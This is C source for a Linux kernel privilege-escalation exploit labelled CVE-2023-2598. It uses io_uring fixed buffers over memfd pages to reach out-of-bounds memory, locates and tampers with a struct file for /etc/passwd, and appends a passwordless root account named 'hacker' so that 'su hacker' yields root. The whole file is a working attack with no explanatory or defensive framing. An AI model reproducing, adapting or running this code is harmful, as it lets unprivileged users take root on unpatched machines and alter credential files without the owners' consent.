#define logi(fmt, ...) dprintf(2, COLOR_GREEN "[+] %s:%d " fmt "\n" COLOR_DEFAULT, __FILE__, __LINE__, ##__VA_ARGS__)
#define logw(fmt, ...) dprintf(2, COLOR_YELLOW "[!] %s:%d " fmt "\n" COLOR_DEFAULT, __FILE__, __LINE__, ##__VA_ARGS__)
#define loge(fmt, ...) dprintf(2, COLOR_RED "[-] %s:%d " fmt "\n" COLOR_DEFAULT, __FILE__, __LINE__, ##__VA_ARGS__)
#define die(fmt, ...) \
do { \
loge(fmt, ##__VA_ARGS__); \
loge("Exit at line %d", __LINE__); \
exit(1); \
} while (0)
#define debug(fmt, ...) \
do { \
loge(fmt, ##__VA_ARGS__); \
loge("debug at line %d", __LINE__); \
getchar(); \
} while (0)
void bind_cpu(int core);
#define PAGE_SIZE 0x1000
#define VIR_START_ADDR 0xaabbcc0000
#define SUBMIT_READ 0
#define SUBMIT_WRITE 1
void prep_rlimit(int *nr_memfds,int *nr_files){
struct rlimit max_file;
getrlimit(RLIMIT_NOFILE,&max_file);
logu("rlim_cur -> %d rlim_max -> %d",max_file.rlim_cur,max_file.rlim_max);
max_file.rlim_cur=max_file.rlim_max;
setrlimit(RLIMIT_NOFILE,&max_file);
int limit = max_file.rlim_max/4;
*nr_memfds = limit/2;
*nr_files= limit - *nr_memfds;
logu("nr_memfds -> %d nr_files -> %d",*nr_memfds,*nr_files);
}
int setup_memfd_physics(char* name,int real_size){
int fd = memfd_create(name,MFD_CLOEXEC);
fallocate(fd,0,0,PAGE_SIZE*real_size);
return fd;
}
int leak_addr(void* addr,uint64_t size){
int ret = -1;
uint64_t* tmp = (uint64_t* )addr;
for (size_t i = 0; i < size/8; i++)
{
// if( tmp[i] != 0)
// logi(" addr: %p offset: 0x%llx -> %p",addr+i,i,tmp[i]);
if(tmp[i]==0x484a801d00008000){
logw("successful!! addr: %p offset: 0x%llx -> %p",addr+i*8,i*8,tmp[i]);
ret = i*8-0x40;
}
}
return ret;
}
void memfds_bind_virtual(int fd, int size){
for (size_t i = 0; i < size; i++)
{
if( mmap(VIR_START_ADDR+i*PAGE_SIZE , PAGE_SIZE,PROT_READ|PROT_WRITE,
MAP_SHARED|MAP_FIXED,fd,0 )==MAP_FAILED )
die("failed mmap memfds_buf");
}
}
void submit_sqe(struct io_uring* ring,int fd,void* buf, unsigned int size,int FLAGS){
struct io_uring_sqe * sqe;
struct io_uring_cqe* cqe;
int ret;
sqe = io_uring_get_sqe(ring);
switch (FLAGS)
{
case SUBMIT_WRITE:
io_uring_prep_write_fixed(sqe,fd,buf,size,0,0);
break;
case SUBMIT_READ:
io_uring_prep_read_fixed(sqe,fd,buf,size,0,0);
break;
default:
return;
}
ret = io_uring_submit(ring);
if (ret < 0) {
die("failed io_uring_submit");
}
io_uring_wait_cqe(ring,&cqe);
io_uring_cqe_seen(ring,cqe);
}
int main(void){
int ret,nr_memfds,nr_files,tmp;
int *memfds,*files;
int recv_fd,block_size;
int nr_pages;
void* oob_buf ,*recv_buf;
int passwd_fd,passwd_size;
char* hacker_buf;
int hacker_len;
struct stat status;
struct io_uring ring;
struct iovec uiovec;
struct io_uring_cqe* cqe;
struct io_uring_sqe* sqe;
RED;puts("[*] CVE-2023-2598 Exploit by mowen");CLOSE;
bind_cpu(0);
// 1、解除当前进程限制
prep_rlimit(&nr_memfds,&nr_files);
// 2、初始化 io_uring、共享空间
stat("/etc/passwd",&status);
passwd_size=status.st_size;
hacker_buf =(char*) malloc(passwd_size*2);
logi("passwd_size -> %d",passwd_size);
passwd_fd = open("/etc/passwd",O_RDONLY);
read(passwd_fd,hacker_buf,passwd_size);
strcat(hacker_buf,"hacker::0:0:root:/root:/bin/sh\n");
hacker_len =strlen(hacker_buf);
logu("io_uring_queue_init");
io_uring_queue_init(4,&ring,0);
memfds = malloc(sizeof(*memfds)*nr_memfds);
files = malloc(sizeof(*files)*nr_files);
logu("init memfds && files");
for (size_t i = 0,tmp=0; i < nr_memfds; i++)
{
memfds[i]=setup_memfd_physics("mowen_fd",1);
if(i < nr_files) {
// files[i] =open("/tmp/mowen",O_RDWR|O_APPEND|O_CREAT,0644); // 0x484f801f,
files[i] =open("/etc/passwd",O_RDONLY); // 0x484a801d00008000
tmp++;
}
}
// 0x484f801f00008402
nr_files = tmp;
nr_pages = 65000;
logu("init recv_buf");
block_size = 0x100;
recv_fd=setup_memfd_physics("recv_fd",block_size);
recv_buf = mmap(0,block_size*PAGE_SIZE,PROT_WRITE|PROT_READ,
MAP_SHARED,recv_fd,0);
if(recv_buf==MAP_FAILED)
die("failed mmap recv_buf");
logi("recv_buf -> %p",recv_buf);
for (size_t i = 0; i < nr_pages; i++)
{
// 3、注册 fixed buf
logu("memfds bind virtual");
memfds_bind_virtual(memfds[i],nr_pages);
oob_buf = VIR_START_ADDR;
uiovec.iov_base = oob_buf;
uiovec.iov_len = nr_pages* PAGE_SIZE;
logi("io_uring_register_buffers");
ret = io_uring_register_buffers(&ring,&uiovec,1);
if( ret < 0 )die("failed io_uring_register_buffers");
logd("uiovec.iov_base -> %p uiovec.iov_len -> %llx",uiovec.iov_base,uiovec.iov_len);
// 4、尝试oob
for (size_t vir_off = 0; vir_off < (nr_pages-block_size); vir_off+=block_size)
{
void* oob_addr = uiovec.iov_base+vir_off*PAGE_SIZE;
submit_sqe(&ring,recv_fd,oob_addr,block_size,SUBMIT_WRITE);
// binary_dump("recv_buf",recv_buf,block_size*PAGE_SIZE);
ret= leak_addr(recv_buf,block_size*PAGE_SIZE);
if (ret==-1) continue;
// 5、oob读取成功，开始提取信息
logu("oob_addr -> %p offset -> %p",oob_addr,vir_off*PAGE_SIZE);
void* filp_addr = oob_addr+ret;
logi("offset : %d v2p_filp_addr : %p",ret,filp_addr);
// 6、篡改filp
*(uint32_t*)recv_buf = 0x484f801f;
submit_sqe(&ring,recv_fd,filp_addr+68,4,SUBMIT_READ);
for (size_t i = 0; i < nr_files; i++)
{
if(write(files[i],hacker_buf,hacker_len)>0){
logw(" hacker /etc/passwd successful");
break;
}
}
stat("/etc/passwd",&status);
logu("passwd_size -> %d",status.st_size);
if(status.st_size==passwd_size)continue;
logi("su hacker to get root");
exit(0);
}
io_uring_unregister_buffers(&ring);
munmap(oob_buf,nr_pages* PAGE_SIZE);
}
munmap(recv_buf,block_size*PAGE_SIZE);
close(recv_fd);
for (size_t i = 0; i < nr_memfds ; i++)
{
close(files[i]);
close(memfds[i]);
}
RED;puts("[*]failed");CLOSE;
return 0;
}
void bind_cpu(int core)
{
cpu_set_t cpu_set;
CPU_ZERO(&cpu_set);
CPU_SET(core, &cpu_set);
sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);
BLUE;printf("[*] bind_cpu(%d)",core);CLOSE;
}
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